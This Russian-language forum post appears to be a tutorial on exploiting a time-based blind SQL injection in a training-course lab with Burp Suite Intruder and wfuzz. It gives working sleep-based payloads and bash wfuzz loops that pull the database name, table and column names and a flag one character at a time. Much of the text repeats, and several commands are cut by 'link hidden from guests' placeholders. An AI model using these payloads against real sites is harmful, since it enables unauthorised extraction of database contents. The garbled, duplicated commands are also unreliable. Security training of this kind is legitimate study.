Привет форумчане!
Давно не брался за перо, все никак не мог найти ни времени, ни мозгов, ни идей. Эта статья будет некоторым продолжением статей Автоматизация эксплуатации слепой инъекции при помощи Burp Suite и Автоматизация эксплуатации слепой инъекции при помощи WFUZZ.
Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.
В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).
По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!
Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.
Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.
В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).
По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!
Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.
На самом деле, здесь она очень простая, здесь присутствует Union-based SQL-инъекция и задача решается элементарной подстановкой запроса ' or true--+- и мы получим искомый флаг:
Но сегодня цель у нас другая и мы должны решить ее с использованием временной задержки. Начнем с Burp Suite.
Burp Suite Intruder
Мы уже убедились, что использовать этот инструмент для автоматизации извлечения содержимого БД очень наглядно и удобно, а главное – это быстрее, чем тащить все это руками, перебирая вручную каждый символ в Repiter. Для этого не требуется великих знаний и мозгов, а только прямые руки и некоторые понятия в SQL-запросах.
Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.
Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.
Функция sleep(5) вызывает задержку запроса на указанное количество секунд. В нашем случае мы получим 5-секундную задержку. Теперь попробуем определить количество символов в названии БД, для этого будем использовать следующий запрос: ' and if(length(database())<10, sleep(5),0)--+-
Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.
Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.
Мы ничего не получили. Поменяем знак на > и наблюдаем 5-секундную задержку.
Значит в названии текущей базы данных больше 10 символов. Давайте узнаем это название. Формируем следующий запрос:
1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-
Здесь мы будем перебирать не символы по словарю, а ASCII коды этих символов. Все дело в том, что большие и маленькие буквы дадут одинаковую реакцию и если мы будем вытаскивать из базы пароль PasswoRD, то в итоге получим password. В общем извлечение через ASCII коды избавит нас в дальнейшем от проблем с регистром.
И вот тут мы подошли к моменту, когда нам нужно вручную перебирать два значения: номер символа по порядку и код символа в таблице ASCII.
1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-
Посмотрим на таблицу ASCII кодов. Для нас полезными будут являться символы 32-126.
Если мы будем перебирать название БД из более чем 10 символов по всем этим кодам, то на извлечение только этого у нас уйдет минут 40, а после этого мы предпочтем бросить все к чертям собачьим и отдаться алкогольному богу. Самые умные, конечно, потратят минут 40-60 на написание скрипта, например, на Python для эксплуатации этой инъекции, но так как я к ним себя не отношу, то буду использовать то, что имею.
Загоняем наш запрос в Intruder. Выбираем тип атаки – Cluster bomb и символы, которые требуется перебирать
Переходим во вкладку Payloads и для первого пейлоада задаем числовые значения от 1 до, например, 20 с шагом 1.
А для второго – числовые значения от от 32 до 126 с шагом 1.
И запускаем атаку.
Если вы сейчас посмотрите на скриншот, то наверняка скажете, что Paladin – тупой баран, который потратил кучу нашего времени и не получил никакого результата, то мне останется только спрятаться куда-нибудь подальше, чтобы вы меня не нашли или…. добавить, что нужно зайти меню Columns и сделать видимым столбец Response received, в котором как раз и указано время ответа.
Все, что нам останется сделать, это отсортировать столбец Response received по убыванию и получить значения, на ответ которых ушло примерно 5 секунд.
Проблема в том, что в этом случае мы не можем отсортировать сразу по двум столбцам и придется по первому пейлоаду сортировать значения вручную. Самые умные, конечно, скопируют нужную часть таблицы в файл.
Вот так мы получили название текущей базы данных. Чтобы получить название таблиц, используем следующий запрос:
' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=116,sleep(5),0)--+-
Оператор limit нам нужен в том случае, если у нас несколько таблиц и мы после нахождения очередного значения меняем первый индекс limit: 0,1 > 1,1 > 2,1 и т.д. В нашем примере нашлась только одна таблица:
Названия столбцов будем вытаскивать следующим запросом:
' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-
Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:
' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-
В результате я получил следующее:
' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-
Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:
' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-
В результате я получил следующее:
Очевидно, что флаг не полный, потому что я оставил на перебор только 20 символов, но вы можете сравнить этот кусочек с тем что мы видели вначале статьи и поймете, что мы получили часть реального флага.
На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.
На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.
Wfuzz
Мы сейчас не будем изобретать велосипед, так как все нужные запросы у нас уже есть из предыдущего примера. Просто применим их для wfuzz.
Имя БД
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "
Имя БД
Ссылка скрыта от гостей
' and IF((ascii(substr(database(),$i,1)))=FUZZ,sleep(5),null)--+-";done > db && grep -F "5." dbПеребор у меня занял ровно 70 секунд. Теперь разберем, что мы тут делаем. Запускаем в командной строке цикл от 1 до 20 на выполнение программы wfuzz с нашей нагрузкой и устанавливаем диапазон для перебора кодов ASCII от 32 до 126. Результат будет сохранен в файл db и после этого выполнится команда grep, которая оставит только те значения, которые нам нужны (то есть с задержкой около 5 секунд) и выведет все это на экран. Только, если вы заметили, у нас уже все символы отсортированы в нужном порядке. Нам остается только перекодировать их в алфавитно-цифровой вид. Дальнейший алгоритм, как в предыдущем примере.
Имена таблиц
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables
Имена таблиц
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables
Название столбцов
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "
Ссылка скрыта от гостей
' and IF(ascii(substring((select column_name from information_schema.columns where table_name='flag_box' limit 1,1), $i,1))=FUZZ,sleep(5),0)--+-";done > columns && grep -F "5." columnsФлаг
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "
Ссылка скрыта от гостей
' and IF(ascii(substring((select name from flag_box limit 3,1), $i,1))=FUZZ,sleep(5),0)--+-";done > flag && grep -F "5." flagНу вот, пожалуй, и все. Я не стал здесь заморачиваться с нормальной фильтрацией в команде grep, чтобы исключить ненужную информацию в выводе. Мне просто лень, да и пива уже хочется. Думаю, у кого есть желание, сам разберется как красивее организовать вывод на экран или в файл и напишет это в комментариях. Буду признателен.
На этом все. Спасибо за внимание!
На этом все. Спасибо за внимание!
Последнее редактирование модератором: